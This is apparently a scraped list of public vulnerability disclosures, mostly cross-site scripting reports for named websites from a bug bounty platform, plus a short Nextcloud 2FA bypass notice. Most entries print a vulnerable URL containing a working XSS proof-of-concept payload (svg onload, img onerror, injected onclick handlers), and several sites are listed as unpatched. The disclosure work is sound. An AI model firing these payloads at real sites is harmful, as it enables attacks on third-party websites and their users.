Nextcloud: bypass of 2FA

Improper protection of the 2FA login made a bypass of the 2FA possible. The bug required to know user credentials but effectively rendered the 2FA ineffective. The issue has been fixed by the Nextcloud team and has been validated by the reporter...

zonnebrilcenter.nl XSS vulnerability

Vulnerable URL: https://www.zonnebrilcenter.nl/category/259151%22-prompt%22XSSPOSED%22-%22'onclick='promptlocation.search.slice1'/zonnebrillen.html?XSSPOSED Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 999940...

sporthorlogecenter.nl XSS vulnerability

Vulnerable URL: https://www.sporthorlogecenter.nl/category/185350%22-prompt%22XSSPOSED%22-%22'onclick='promptlocation.search.slice1'/sporthorloge-aanbiedingen.html?XSSPOSED Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Ale...

zaagmachineshop.nl XSS vulnerability

Vulnerable URL: https://www.zaagmachineshop.nl/category/191387%22-prompt%22XSSPOSED%22-%22'onclick='promptlocation.search.slice1'/afkortzagen.html?XSSPOSED Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 931621 V...

walkietalkiestore.nl XSS vulnerability

Vulnerable URL: https://www.walkietalkiestore.nl/category/183237%22-prompt%22XSSPOSED%22-%22'onclick='promptlocation.search.slice1'/walkie-talkies.html?XSSPOSED Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank|...

schuurmachineshop.nl XSS vulnerability

Vulnerable URL: https://www.schuurmachineshop.nl/category/195327%22-prompt%22XSSPOSED%22-%22'onclick='promptlocation.search.slice1'/schuurmachines.html?XSSPOSED Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank|...

snijmachineshop.nl XSS vulnerability

Vulnerable URL: https://www.snijmachineshop.nl/category/221276%22-prompt%22XSSPOSED%22-%22'onclick='promptlocation.search.slice1'/snijmachines.html?XSSPOSED Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 1703000...

blenderstore.nl XSS vulnerability

Vulnerable URL: https://www.blenderstore.nl/category/240762%22-prompt%22XSSPOSED%22-%22'onclick='promptlocation.search.slice1'/blender-aanbiedingen.html?XSSPOSED Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank|...

pdashop.be XSS vulnerability

Vulnerable URL: https://www.pdashop.be/category/242550%22-prompt%22XSSPOSED%22-%22'onclick='promptlocation.search.slice1'/google-nexus.html?XSSPOSED Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 75903 VIP websi...

marketplace.adperfect.com XSS vulnerability

Vulnerable URL: https://marketplace.adperfect.com/vancouver/community/cypress-challenge/5db35f2c70a04c3694f87273a7aa'OPENBUGBOUNTY Details: Description| Value ---|--- Patched:| Yes, at 27.11.2017 Latest check for patch:| 27.11.2017 09:38 GMT Vulnerability type:| XSS Vulnerability status:| Publicl...

vosclassees.marketplace.adperfect.com XSS vulnerability

Vulnerable URL: http://vosclassees.marketplace.adperfect.com/ext/classifieds/vhicules/"' Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not calculated VIP website status:| No Check...

retailads.adperfect.com XSS vulnerability

Open Bug Bounty ID: OBB-262930 Description| Value ---|--- Affected Website:| retailads.adperfect.com Vulnerable Application:| Custom Code Vulnerability Type:| XSS Cross Site Scripting / CWE-79 CVSSv3 Score:| 6.1 CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N Remediation Guide:| OWASP XSS Prevention...

insel.ch XSS vulnerability

Vulnerable URL: https://www.insel.ch/de/suchresultate/?id=2232=0=%22%3E%27%3EI%3Ci%3EI%3Csvg%2Fonload%3Dalert%28%2Fopenbugbounty%2F%29%3E Details: Description| Value ---|--- Patched:| Yes, at 27.11.2017 Latest check for patch:| 27.11.2017 09:37 GMT Vulnerability type:| XSS Vulnerability status:|...

push2check.net XSS vulnerability

Vulnerable URL: http://push2check.net////buttoncreator.php?site=%3Cimg%20src=x%20onerror=prompt/XSSPOSED/%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 03.08.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 264854 VIP website...

uabc.mx XSS vulnerability

Vulnerable URL: http://www.uabc.mx/institucion"'--!confirm'OPENBUGBOUNTY'...

j-infosys.de XSS vulnerability

Vulnerable URL: http://www.j-infosys.de/kontaktform.php Details: Description| Value ---|--- Patched:| No Latest check for patch:| 07.08.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 16733368 VIP website status:| No Check j-infosys.de SSL connection:| Grade: F...

trainingbaseweeze.com XSS vulnerability

Vulnerable URL: http://www.trainingbaseweeze.com/contact/ Details: Description| Value ---|--- Patched:| Yes, at 31.08.2017 Latest check for patch:| 31.08.2017 19:15 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not calculated VIP website status:| No...

netlink.alphasource.com XSS vulnerability

Vulnerable URL: http://netlink.alphasource.com/AL/nlhtml/bin/catalog.php?desckeyword=medical xenon light"'--!...

elitepalaces.com XSS vulnerability

Vulnerable URL: http://www.elitepalaces.com/epsearch.html Details: Description| Value ---|--- Patched:| No Latest check for patch:| 07.08.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 5886020 VIP website status:| No Coordinated Disclosure Timeline: Descriptio...

patch.com XSS vulnerability

Vulnerable URL: https://patch.com/new-york/queens/search-results?key=%22%3E%3Cimg+src%3Dx+onerror%3Dprompt%27OPENBUGBOUNTY%27%3E&offset=0&scope=local&freshness=all Details: Description| Value ---|--- Patched:| Yes, at 31.10.2017 Latest check for patch:| 31.10.2017 06:31 GMT Vulnerability type:| X...